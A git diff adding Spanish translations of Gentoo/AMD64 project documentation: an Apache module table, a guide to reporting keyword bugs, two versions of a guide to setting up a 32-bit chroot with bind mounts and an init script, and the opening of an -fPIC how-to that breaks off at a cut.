+<tr>
+  <ti>include</ti>
+  <ti>Documentos html analizados (parsed) en el servidor (Server Side
+  Includes)</ti>
+</tr>
+<tr>
+  <ti>info</ti>
+  <ti>Proporciona una descripción amplia de la configuración del
+  servidor</ti>
+</tr>
+<tr>
+  <ti>log_config</ti>
+  <ti>Registro en bitácora de peticiones realizadas al servidor</ti>
+</tr>
+<tr>
+  <ti>log_forensic</ti>
+  <ti>Registro forense en bitácora de peticiones realizadas al
+  servidor</ti>
+</tr>
+<tr>
+  <ti>logio</ti>
+  <ti>Registro en bitácora de bytes de entrada y salida por
+  petición</ti>
+</tr>
+<tr>
+  <ti>mem_cache</ti>
+  <ti>Manejador de cache de contenido según URI</ti>
+</tr>
+<tr>
+  <ti>mime</ti>
+  <ti>
+    Asocia la extensión del archivo pedido con el comportamiento
+    (manejadores y filtros) y contenido (mime-type, idioma, conjunto
+    de caracteres y codificación) del mismo
+  </ti>
+</tr>
+<tr>
+  <ti>mime_magic</ti>
+  <ti>
+    Determina el MIME type de un archivo examinando unos pocos bytes
+    de su contenido
+  </ti>
+</tr>
+<tr>
+  <ti>negotiation</ti>
+  <ti>Proporciona negociación según contenido</ti>
+</tr>
+<tr>
+  <ti>proxy</ti>
+  <ti>Servidor proxy/pasarela HTTP/1.1</ti>
+</tr>
+<tr>
+  <ti>proxy_ajp</ti>
+  <ti>Módulo de soporte AJP para mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_balancer</ti>
+  <ti>Extensión mod_proxy para balanceo de cargas</ti>
+</tr>
+<tr>
+  <ti>proxy_connect</ti>
+  <ti>Extensión mod_proxy para manejar peticiones CONNECT</ti>
+</tr>
+<tr>
+  <ti>proxy_ftp</ti>
+  <ti>Módulo de soporte FTP para mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_http</ti>
+  <ti>Módulo de soporte HTTP para mod_proxy</ti>
+</tr>
+<tr>
+  <ti>rewrite</ti>
+  <ti>
+    Proporciona un motor de re-escritura en base a reglas para
+    re-escribir dinámicamente URLs solicitados
+  </ti>
+</tr>
+<tr>
+  <ti>setenvif</ti>
+  <ti>
+    Permite configurar variables de entorno en base a características
+    de la petición
+  </ti>
+</tr>
+<tr>
+  <ti>speling</ti>
+  <ti>
+    Intentará corregir URLs equivocados ingresados por usuarios
+    ignorando la capitalización y permitiendo hasta un error
+    ortográfico
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>Proporciona información acerca de la actividad y desempeño del
+  servidor</ti>
+</tr>
+<tr>
+  <ti>unique_id</ti>
+  <ti>
+    Proporciona una variable de entorno con identificado único por
+    cada petición
+  </ti>
+</tr>
+<tr>
+  <ti>userdir</ti>
+  <ti>Directorios según usuario</ti>
+</tr>
+<tr>
+  <ti>usertrack</ti>
+  <ti>Registro en bitácora de la actividad de clicks por parte de
+  usuarios según sitio web</ti>
+</tr>
+<tr>
+  <ti>version</ti>
+  <ti>Configuración según versión</ti>
+</tr>
+<tr>
+  <ti>vhost_alias</ti>
+  <ti>Proporciona anfitriones virtuales en masa configurados
+  dinámicamente</ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/base/amd64/howtos/bugs.xml b/xml/htdocs/proj/es/base/amd64/howtos/bugs.xml
new file mode 100644
index 00000000..a4a31f8f
--- /dev/null
+++ b/xml/htdocs/proj/es/base/amd64/howtos/bugs.xml
@@ -0,0 +1,140 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header:
+/var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/bugs.xml,v 1.5
+2006/03/31 15:06:19 blubb Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-20</date>
+
+<section>
+
+<title>Cómo informar de errores de Keyword en Gentoo/AMD64</title>
+<body>
+
+<p>
+Primero, queremos agradecerle por su ayuda al proyecto
+Gentoo/AMD64. Sus diligentes esfuerzos probando aplicaciones son muy
+apreciados. A continuación explicaremos los pasos para enviar un
+informe de error en el caso que quiera hacernos saber que una
+aplicación enmascarada funciona en su Gentoo/AMD64.
+</p>
+</body>
+</section>
+
+<section>
+<title>¡Regístrese!</title>
+<body>
+	
+<p>
+Si todavía no se ha registrado en <uri
+link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>,
+por favor, hágalo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Pasos para el envío del error</title>
+<body>
+	
+<p>
+Siga los siguientes pasos para enviar un error:
+</p>
+
+<ul>
+  <li>Vaya a <uri
+  link="http://bugs.gentoo.org/createaccount.cgi">bugs.gentoo.org</uri>.</li>
+  <li>Haga click en <c>Report A Bug</c> en la parte superior de la página.</li>
+  <li>Escoja <c>Gentoo Linux</c> en la lista de productos.</li>
+  <li>Ingrese en bugs.gentoo.org usando su cuenta.</li>
+  <li>Busque su error
+    <ul>
+      <li>Introduzca <c>ALL</c> y el nombre del ebuild en la caja de
+      búsqueda. Tenga cuidado, <c>ALL</c> es sensible a
+      mayúsculas.</li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Ejemplo">
+ALL k3b
+</pre>
+
+<ul>
+  <li>Continúe buscando su error
+    <ul>
+      <li>Haga click en el botón <c>Search</c>.</li>
+      <li>Compruebe si ya hay alguien que ha creado un informe de
+      error en la aplicación enmascarada que a usted le funciona.</li>
+      <li>Debe ver dos cosas.
+        <ul>
+          <li>La columna Plt debe decir <c>amd64</c>.</li>
+          <li>La columna Summary debe decir algo así como <e>working
+          on amd64</e>.</li>
+        </ul>
+      </li>
+      <li>Si no dice nada aplicable en la caja de búsqueda, pase al
+      siguiente paso. Sino, es que ya tenemos conocimiento del error y
+      no hace falta (y además no debe) informar de nuevo del error.</li>
+    </ul>
+  </li>
+  <li>Denos su información
+    <ul>
+      <li>En <e>Component</e>seleccione <c>Ebuilds</c>.</li>
+      <li>En <e>Hardware Platform</e> seleccione <c>amd64</c>.</li>
+      <li>En la caja de texto <e>Summary</e>, introduzca un resumen
+      del error de la siguiente forma:
+      ${categoría}/${aplicación}-${versión} funciona en amd64.</li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Ejemplo">
+app-cdr/k3b-0.11.6 funciona en amd64
+</pre>
+
+<ul>
+  <li>Continúe dándonos información
+    <ul>
+      <li>En la caja de texto <e>Description</e>, introduzca una breve
+      descripción de la siguiente forma: Por favor añadan "~amd64" a
+      las KEYWORDS para ${categoría}/${applicación}-${versión}.</li>
+    </ul>
+  </li>
+</ul>
+
+<pre caption="Ejemplo">
+Por favor añadan "~amd64" a las KEYWORDS para app-cdr/k3b-0.11.6
+</pre>
+
+<ul>
+  <li>Continúe dándonos información
+    <ul>
+      <li>Copie la salida de <c>emerge info</c> en la caja de texto
+      <e>Description</e>. Esto es muy útil porque nos da información
+      sobre las condiciones de su entorno (p.e. las variables
+      USE).</li>
+      <li>Seleccione <c>Enhancement</c> en la lista desplegable
+      <e>Severity</e>. <e>Por favor, no seleccione nada más aquí. Los
+      desarrolladores cambiarán la gravedad del error en caso de que
+      sea necesario.</e></li>
+    </ul>
+  </li>
+  <li>Compruebe varias veces su trabajo para asegurarse de que ha
+  introducido la información necesaria.</li>
+  <li>Haga click en <c>Submit Bug Report</c> cuando esté preparado
+  para enviar el error.</li>
+</ul>
+
+<p>
+¡Muchas gracias!
+</p>
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/es/base/amd64/howtos/chroot-old.xml b/xml/htdocs/proj/es/base/amd64/howtos/chroot-old.xml
new file mode 100644
index 00000000..6432e1e6
--- /dev/null
+++ b/xml/htdocs/proj/es/base/amd64/howtos/chroot-old.xml
@@ -0,0 +1,319 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header:
+/var/cvsroot/gentoo/xml/htdocs/proj/en/base/amd64/howtos/chroot.xml,v 1.11
+2006/10/04 11:46:44 blubb Exp $ -->
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.3</version>
+<date>2008-12-26</date>
+
+<section>
+<title>Introducción</title>
+<subsection>
+<title>Introducción a los sitemas de 64 bits</title>
+<body>
+
+<p>
+La guía de Gentoo Linux para entornos chroot de 32 bits le ayudará a
+construir un auténtico entorno enjaulado para su sistema Gentoo/AMD64.
+</p>
+
+<p>
+Como ya sabe, los sistemas de 64 bits todavía no ejecutan aplicaciones
+de 32 bits nativamente (al menos no con portage) así que necesitará
+usar bibliotecas de emulación para hacerlas funcionar o crear un
+verdadero sistema de 32 bits en un entorno chroot para instalar y
+ejecutar aplicaciones nativas de 32 bits. Sin embargo, si quiere usar
+aplicaciones que no tienen un binario disponible para usarlo con
+bibliotecas de 32 bits, debe usar un entorno chroot de 32 bits. Esta
+guia le enseñará como preparar un entorno chroot de 32 bits y como
+instalar y ejecutar aplicaciones en este entorno.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Instalación</title>
+<subsection>
+<title>Instalación de un entorno chroot de 32 bits</title>
+<body>
+
+<p>
+Para instalar un entorno chroot de 32 bits deberá seguir muchos de los
+pasos que sigue al instalar Gentoo Linux en un ordenador x86. De
+momento, necesitará el último stage3 disponible en nuestros <uri
+link="http://www.gentoo.org/main/en/mirrors.xml">mirrors</uri>.
+</p>
+
+<pre caption="descargar stage3 de un mirror Gentoo">
+$ cd /home/user/downloads
+$ wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2
+</pre>
+
+<note>
+Fíjese que descargamos un stage para x86, <c>no</c> para AMD64.
+</note>
+
+<p>
+Después de descargar el stage3 deberá crear un directorio para
+construir su entorno chroot.
+</p>
+
+<pre caption="crear un directorio para el entorno chroot de 32 bits">
+$ su root <i>introduzca su contraseña de root</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+
+<p>
+Mueva el stage que ha descargado, desempaquételo y prepárelo como en
+este ejemplo.
+</p>
+
+<pre caption="instalar el stage3">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+
+<p>
+Ahora ya tiene el entorno chroot listo para ser configurado. Lea el
+siguiente apartado para aprender como hacerlo.
+</p>
+</body>
+</subsection>
+</section>
+
+
+<section>
+<title>Configuración</title>
+<subsection>
+<title>Configurar el nuevo entorno chroot de 32 bits</title>
+<body>
+
+<p>
+Si todo ha ido bien hasta aquí, ahora podrá configurar su entorno
+chroot de 32 bits y acabar su instalación.
+</p>
+
+<p>
+El próximo paso es configurar su nuevo
+<c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+
+<pre caption="Configurar el nuevo make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+Ahora monte los sistemas de archivos:
+</p>
+
+<pre caption="Montar los sistemas de archivos virtuales">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+
+<p>
+Ahora tiene un verdadero entorno chroot de 32 bits en su sistema de 64
+bits que ya está casi listo para usarse. A continuación, necesita
+crear un enlace del portage disponible en su sistema de 64 bits a su
+entorno chroot. Así, sólo necesitará actualizarlo en una instalación
+en vez de duplicar un montón de datos.
+</p>
+
+<pre caption="Enlazar portage a /usr/portage dentro del entorno chroot de 32 bits">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+
+<note>
+Cada vez que actualice su portage haciendo un emerge sync, también
+actualizará su entorno chroot de 32 bits.
+</note>
+
+<p>
+Si quiere usar aplicaciones de 32 bits que usen las X también deberá
+montar /tmp.
+</p>
+
+<pre caption="Montar /tmp para aplicaciones con GUI">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+
+<p>
+Ahora estamos preparados para entrar en el entorno chroot.
+</p>
+
+<pre caption="Acceder al entorno chroot">
+# emerge --noreplace sys-apps/util-linux
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(Asegúrese que está en un sistema i686)</i>
+# uname -m
+i686
+</pre>
+
+<warn>
+Se necesita la utilidad <c>linux32</c> para cambiar el valor de
+CHOST.Si se olvida, es muy probable que no pueda compilar nada dentro
+su sistema chroot.
+</warn>
+
+<p>
+Ahora tiene un nuevo sistema chroot de 32 bits listo para ser
+actualizado.  Siga los siguientes pasos para actualizarlo.
+</p>
+
+<pre caption="Actualizar el nuevo entorno chroot de 32 bits">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+
+<p>
+Después de esto ya ha acabado básicamente la configuración de su
+entorno chroot de 32 bits. Para hacer las cosas más sencillas, vamos a
+crear un archivo en su sistema de 64 bits para habilitar su entorno
+chroot de 32 bits al arrancar la máquina.
+</p>
+
+<pre caption="Crear un nuevo archivo en /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+    ebegin "Mounting 32bit chroot dirs"
+    mount -o bind /dev /mnt/gentoo32/dev &gt;/dev/null
+    mount -o bind /dev/pts /mnt/gentoo32/dev/pts &gt;/dev/null &amp;
+    mount -o bind /dev/shm /mnt/gentoo32/dev/shm &gt;/dev/null &amp;
+    mount -o bind /proc /mnt/gentoo32/proc &gt;/dev/null
+    mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb &gt;/dev/null &amp;
+    mount -o bind /sys /mnt/gentoo32/sys &gt;/dev/null &amp;
+    mount -o bind /tmp /mnt/gentoo32/tmp &gt;/dev/null &amp;
+    mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ &gt;/dev/null &amp;
+    eend $? "An error occured while attempting to mount 32bit chroot directories"
+    ebegin "Copying 32bit chroot files"
+    cp -pf /etc/resolv.conf /mnt/gentoo32/etc &gt;/dev/null &amp;
+    cp -pf /etc/passwd /mnt/gentoo32/etc &gt;/dev/null &amp;
+    cp -pf /etc/shadow /mnt/gentoo32/etc &gt;/dev/null &amp;
+    cp -pf /etc/group /mnt/gentoo32/etc &gt;/dev/null &amp;
+    cp -pf /etc/gshadow /mnt/gentoo32/etc &gt;/dev/null &amp;
+    cp -pf /etc/hosts /mnt/gentoo32/etc &gt; /dev/null &amp;
+    cp -Ppf /etc/localtime /mnt/gentoo32/etc &gt;/dev/null &amp;
+    eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+    ebegin "Unmounting 32bit chroot dirs"
+    umount -f /mnt/gentoo32/dev/pts &gt;/dev/null
+    umount -f /mnt/gentoo32/dev/shm &gt;/dev/null
+    umount -f /mnt/gentoo32/dev &gt;/dev/null &amp;
+    umount -f /mnt/gentoo32/proc/bus/usb &gt;/dev/null
+    umount -f /mnt/gentoo32/proc &gt;/dev/null &amp;
+    umount -f /mnt/gentoo32/sys &gt;/dev/null &amp;
+    umount -f /mnt/gentoo32/tmp &gt;/dev/null &amp;
+    umount -f /mnt/gentoo32/usr/portage/ &gt;/dev/null &amp;
+    eend $? "An error occured while attempting to unmount 32bit chroot directories"
+}
+</pre>
+
+<p>
+Ahora sólo necesita ejecutar <c>rc-update add gentoo32 default</c>
+para iniciarlo al arrancar la máquina.
+</p>
+
+<p>
+Siempre que quiera cambiar a su sistema chroot, sólo necesitará
+ejecutar la siguiente orden: <c>linux32 chroot /mnt/gentoo32
+/bin/bash</c>.
+</p>
+
+<p>
+Ahora ya tiene su entorno chroot de 32 bits listo para instalar nuevas
+aplicaciones.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Aplicaciones</title>
+<subsection>
+<title>Instalando aplicaciones en su entorno chroot</title>
+<body>
+
+<p>
+Ahora que ya tiene un entorno chroot de 32 bits completamente
+funcional puede instalar cualquier aplicación en modo de 32
+bits. Veamos como puede instalar nuevos paquetes en su entorno chroot
+de 32 bits.
+</p>
+
+<pre caption="Instalar foo en el entorno chroot">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+
+<note>
+Recuerde ejecutar siempre <c>source /etc/profile</c> y
+<c>env-update</c> al entrar en el entorno chroot.
+</note>
+
+<p>
+Ahora ya ha instalado una aplicación en su entorno chroot de 32
+bits. Si quiere ejecutarla deberá hacerlo en su entorno chroot. Si
+quiere ejecutar aplicaciones X la mejor solución es hacerlo mediante
+el truco <c>xhost</c>. Cada vez que necesite ejecutar una aplicación X
+ejecute lo siguiente en su sistema de 64 bits:
+</p>
+
+<pre caption="El truco xhost">
+# xhost local:localhost
+</pre>
+
+<p>
+Después de hacerlo entre en su entorno chroot otra vez y será capaz de
+ejecutar cualquier aplicación X que haya instalado en su entorno
+chroot de 32 bits.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Conclusión</title>
+<subsection>
+<title>Conclusión de esta guía</title>
+<body>
+
+<p>
+Con este entorno chroot podrá instalar muchos paquetes que sólo están
+disponibles para la arquitectura x86. Algunos paquetes como
+<c>OpenOffice</c> pueden ser instalados mediante el binario disponible
+para Gentoo/AMD64. Para instalar el paquete <c>win32codecs</c> para
+MPlayer necesita un entorno chroot de 32 bits como éste.
+</p>
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/es/base/amd64/howtos/chroot.xml b/xml/htdocs/proj/es/base/amd64/howtos/chroot.xml
new file mode 100644
index 00000000..5ad910bc
--- /dev/null
+++ b/xml/htdocs/proj/es/base/amd64/howtos/chroot.xml
@@ -0,0 +1,333 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/base/amd64/howtos/chroot.xml,v 1.3 2010/08/01 07:22:43 nimiux Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<guide link="/proj/es/base/amd64/howtos/chroot.xml" lang="es" >
+<title>Cómo configurar un entorno chroot en sistemas de 32 bits</title>
+
+<author title="Author">
+  <mail link="metalgod@gentoo.org">Luis Medinas</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Este CÓMO muestra la forma de crear un entorno chroot en sistemas de 32 bits.
+</abstract>
+
+<license/>
+
+<version>1.1</version>
+<date>2008-12-26</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<title>Introducción a los sitemas de 64 bits</title>
+<body>
+
+<p>
+La guía de Gentoo Linux para entornos chroot de 32 bits le ayudará a
+construir un auténtico entorno chroot para su sistema Gentoo/AMD64.
+</p>
+
+<p>
+Como ya sabe los sistemas de 64 bits todavía no ejecutan aplicaciones
+de 32 bits nativas (al menos no con portage) así que necesitará
+usar bibliotecas de emulación para hacerlas funcionar o crear un
+verdadero sistema de 32 bits en un entorno chroot para instalar y
+ejecutar aplicaciones nativas de 32 bits. Sin embargo, si quiere usar
+aplicaciones que no tienen un binario disponible para usarlo con
+bibliotecas de 32 bits, debe usar un entorno chroot de 32 bits. Esta
+guia le enseñará como preparar un entorno chroot de 32 bits y como
+instalar y ejecutar aplicaciones en este entorno.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalación</title>
+<section>
+<title>Instalación de su entorno chroot de 32 bits</title>
+<body>
+
+<p>
+Para instalar un entorno chroot de 32 bits deberá seguir muchos de los
+pasos que sigue al instalar Gentoo Linux en un ordenador x86. De
+momento, necesitará el último stage3 disponible en nuestros <uri
+link="http://www.gentoo.org/main/en/mirrors.xml">servidores
+réplica</uri>.
+</p>
+
+<pre caption="descargando stage3 de un servidor réplica de Gentoo">
+$ cd /home/user/downloads
+$ wget -c ftp://distfiles.gentoo.org/releases/x86/2006.1/stages/stage3-i686-2006.1.tar.bz2
+</pre>
+
+<note>
+Fíjese que descargamos un stage para x86, <c>no</c> para AMD64.
+</note>
+
+<p>
+Después de descargar el stage3 deberá crear un directorio para
+construir su entorno chroot.
+</p>
+
+<pre caption="creando un directorio para el entorno chroot de 32 bits">
+$ su root <i>introduzca su contraseña de root</i>
+# cd /mnt
+# mkdir gentoo32
+</pre>
+
+<p>
+Mueva el stage que ha descargado, desempaquételo y prepárelo como en
+este ejemplo.
+</p>
+
+<pre caption="instalando desde el stage3">
+# cd /mnt/gentoo32
+# tar -xvjpf /home/user/downloads/stage3-i686-2006.1.tar.bz2
+# cp -L /etc/resolv.conf /mnt/gentoo32/etc/
+# cp -L /etc/passwd /mnt/gentoo32/etc/
+</pre>
+
+<p>
+Ahora ya tiene el entorno chroot listo para ser configurado. Lea el
+siguiente apartado para aprender como hacerlo.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuración</title>
+<section>
+<title>Configurando el nuevo entorno chroot de 32 bits</title>
+<body>
+
+<p>
+Si todo ha ido bien hasta aquí, ahora podrá configurar su entorno
+chroot de 32 bits y acabar su instalación.
+</p>
+
+<p>
+El próximo paso es configurar su nuevo
+<c>/mnt/gentoo32/etc/make.conf</c>.
+</p>
+
+<pre caption="Configurando el nuevo make.conf">
+CFLAGS="-O2 -march=athlon-xp -msse2 -pipe -fomit-frame-pointer"
+CHOST="i686-pc-linux-gnu"
+CXXFLAGS="${CFLAGS}"
+MAKEOPTS="-j2"
+</pre>
+
+<p>
+Ahora monte los sistemas de archivos virtuales:
+</p>
+
+<pre caption="Montando los sistemas de archivos virtuales">
+# mount -o bind /dev /mnt/gentoo32/dev
+# mount -o bind /dev/pts /mnt/gentoo32/dev/pts
+# mount -o bind /dev/shm /mnt/gentoo32/dev/shm
+# mount -o bind /proc /mnt/gentoo32/proc
+# mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb
+# mount -o bind /sys /mnt/gentoo32/sys
+</pre>
+
+<p>
+Ahora tiene un verdadero entorno chroot de 32 bits en su sistema de 64
+bits que ya está casi listo para usarse. A continuación, necesita
+crear un enlace del portage disponible en su sistema de 64 bits a su
+entorno chroot. Así, sólo necesitará actualizarlo en una instalación
+en vez de duplicar un montón de datos.
+</p>
+
+<pre caption="Enlazando portage a /usr/portage dentro del entorno chroot de 32 bits">
+# mkdir -p /mnt/gentoo32/usr/portage/
+# mount -o bind /usr/portage /mnt/gentoo32/usr/portage/
+</pre>
+
+<note>
+Cada vez que actualice su portage haciendo un emerge sync, también
+actualizará su entorno chroot de 32 bits.
+</note>
+
+<p>
+Si quiere usar aplicaciones de 32 bits que usen X también deberá montar
+/tmp.
+</p>
+
+<pre caption="Montando /tmp para aplicaciones con GUI">
+# mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+
+<p>
+Ahora estamos preparados para entrar en el entorno chroot.
+</p>
+
+<pre caption="Accediendo al entorno chroot">
+<i>(Sólo haga esto si no tiene util-linux ya instalado)</i>
+# emerge util-linux
+# linux32 chroot /mnt/gentoo32 /bin/bash
+<i>(Asegúrese que está en un sistema i686)</i>
+# uname -m
+i686
+</pre>
+
+<warn>
+Se necesita la utilidad <c>linux32</c> para cambiar el valor de
+CHOST.Si se olvida, es muy probable que no pueda compilar nada dentro
+su sistema chroot.
+</warn>
+
+<p>
+Ahora tiene un nuevo sistema chroot de 32 bits listo para ser
+actualizado.  Siga los siguientes pasos para actualizarlo.
+</p>
+
+<pre caption="Actualizando el nuevo entorno chroot de 32 bits">
+# source /etc/profile
+# env-update
+# emerge -au world
+</pre>
+
+<p>
+Después de esto ya ha acabado básicamente la configuración de su
+entorno chroot de 32 bits. Para hacer las cosas más sencillas, vamos a
+crear un archivo en su sistema de 64 bits para habilitar su entorno
+chroot de 32 bits al arrancar la máquina.
+</p>
+
+<pre caption="Creando un nuevo archivo en /etc/init.d">
+# nano -w /etc/init.d/gentoo32
+#!/sbin/runscript
+
+depend() {
+   need localmount
+   need bootmisc
+}
+
+start() {
+   ebegin "Mounting 32bit chroot dirs"
+   mount -o bind /dev /mnt/gentoo32/dev >/dev/null
+   mount -o bind /dev/pts /mnt/gentoo32/dev/pts >/dev/null &amp;
+   mount -o bind /dev/shm /mnt/gentoo32/dev/shm >/dev/null &amp;
+   mount -o bind /proc /mnt/gentoo32/proc >/dev/null
+   mount -o bind /proc/bus/usb /mnt/gentoo32/proc/bus/usb >/dev/null &amp;
+   mount -o bind /sys /mnt/gentoo32/sys >/dev/null &amp;
+   mount -o bind /tmp /mnt/gentoo32/tmp >/dev/null &amp;
+   mount -o bind /usr/portage /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+   eend $? "An error occured while attempting to mount 32bit chroot directories"
+   ebegin "Copying 32bit chroot files"
+   cp -pf /etc/resolv.conf /mnt/gentoo32/etc >/dev/null &amp;
+   cp -pf /etc/passwd /mnt/gentoo32/etc >/dev/null &amp;
+   cp -pf /etc/shadow /mnt/gentoo32/etc >/dev/null &amp;
+   cp -pf /etc/group /mnt/gentoo32/etc >/dev/null &amp;
+   cp -pf /etc/gshadow /mnt/gentoo32/etc >/dev/null &amp;
+   cp -pf /etc/hosts /mnt/gentoo32/etc > /dev/null &amp;
+   cp -Ppf /etc/localtime /mnt/gentoo32/etc >/dev/null &amp;
+   eend $? "An error occured while attempting to copy 32 bits chroot files."
+}
+
+stop() {
+   ebegin "Unmounting 32bit chroot dirs"
+   umount -f /mnt/gentoo32/dev/pts >/dev/null
+   umount -f /mnt/gentoo32/dev/shm >/dev/null
+   umount -f /mnt/gentoo32/dev >/dev/null &amp;
+   umount -f /mnt/gentoo32/proc/bus/usb >/dev/null
+   umount -f /mnt/gentoo32/proc >/dev/null &amp;
+   umount -f /mnt/gentoo32/sys >/dev/null &amp;
+   umount -f /mnt/gentoo32/tmp >/dev/null &amp;
+   umount -f /mnt/gentoo32/usr/portage/ >/dev/null &amp;
+   eend $? "An error occured while attempting to unmount 32bit chroot directories"
+}
+</pre>
+
+<p>
+Ahora sólo necesita ejecutar <c>rc-update add gentoo32 default</c>
+para iniciarlo al arrancar la máquina.
+</p>
+
+<p>
+Siempre que quiera cambiar a su sistema chroot, sólo necesitará
+ejecutar la siguiente orden:
+<c>linux32 chroot /mnt/gentoo32 /bin/bash</c>.
+</p>
+
+<p>
+Ahora ya tiene su entorno chroot de 32 bits listo para instalar nuevas
+aplicaciones.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aplicaciones</title>
+<section>
+<title>Instalando nuevas aplicaciones en su entorno chroot</title>
+<body>
+
+<p>
+Ahora que ya tiene un entorno chroot de 32 bits completamente
+funcional puede instalar cualquier aplicación en modo de 32
+bits. Veamos como puede instalar nuevos paquetes en su entorno chroot
+de 32 bits.
+</p>
+
+<pre caption="Instalando foo en el entorno chroot">
+# linux32 chroot /mnt/gentoo32 /bin/bash
+# source /etc/profile
+# env-update
+# emerge foo
+</pre>
+
+<note>
+Recuerde ejecutar siempre <c>source /etc/profile</c> y
+<c>env-update</c> al entrar en el entorno chroot.
+</note>
+
+<p>
+Ahora ya ha instalado una aplicación en su entorno chroot de 32
+bits. Si quiere ejecutarla deberá hacerlo en su entorno chroot. Si
+quiere ejecutar aplicaciones X la mejor solución es hacerlo mediante
+el truco <c>xhost</c>. Cada vez que necesite ejecutar una aplicación X
+ejecute lo siguiente en su sistema de 64 bits:
+</p>
+
+<pre caption="El truco xhost">
+# xhost local:localhost
+</pre>
+
+<p>
+Después de hacerlo entre en su entorno chroot otra vez y será capaz de
+ejecutar cualquier aplicación X que haya instalado en su entorno
+chroot de 32 bits.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Conclusión</title>
+<section>
+<title>Conclusión de esta guía</title>
+<body>
+
+<p>
+Con este entorno chroot podrá instalar muchos paquetes que sólo están
+disponibles para la arquitectura x86. Algunos paquetes como
+<c>OpenOffice</c> pueden ser instalados mediante el binario disponible
+para Gentoo/AMD64. Algunos de los codificadores disponibles para
+<c>MPlayer</c> necesitan este entorno chroot de 32 bits de forma que
+pueda instalar el paquete <c>win32codecs</c>.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/base/amd64/howtos/fpic-howto.xml b/xml/htdocs/proj/es/base/amd64/howtos/fpic-howto.xml
new file mode 100644
index 00000000..ea3b12e6
--- /dev/null
+++ b/xml/htdocs/proj/es/base/amd64/howtos/fpic-howto.xml
@@ -0,0 +1,255 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/base/amd64/howtos/fpic-howto.xml,v 1.3 2009/10/06 21:12:14 chiguire Exp $ -->
+
+<sections>
+
+<version>1.2</version>
+<date>2006-07-23</date>
+
+<section>
+<title>El problema</title>
+<body>
+
+<p>
+A veces gcc termina con un mensaje de error como el siguiente:
+</p>
+
+<pre caption="Un típico mensaje de error de gcc">
+.libs/assert.o: relocation R_X86_64_32 against `a local symbol' can not be used
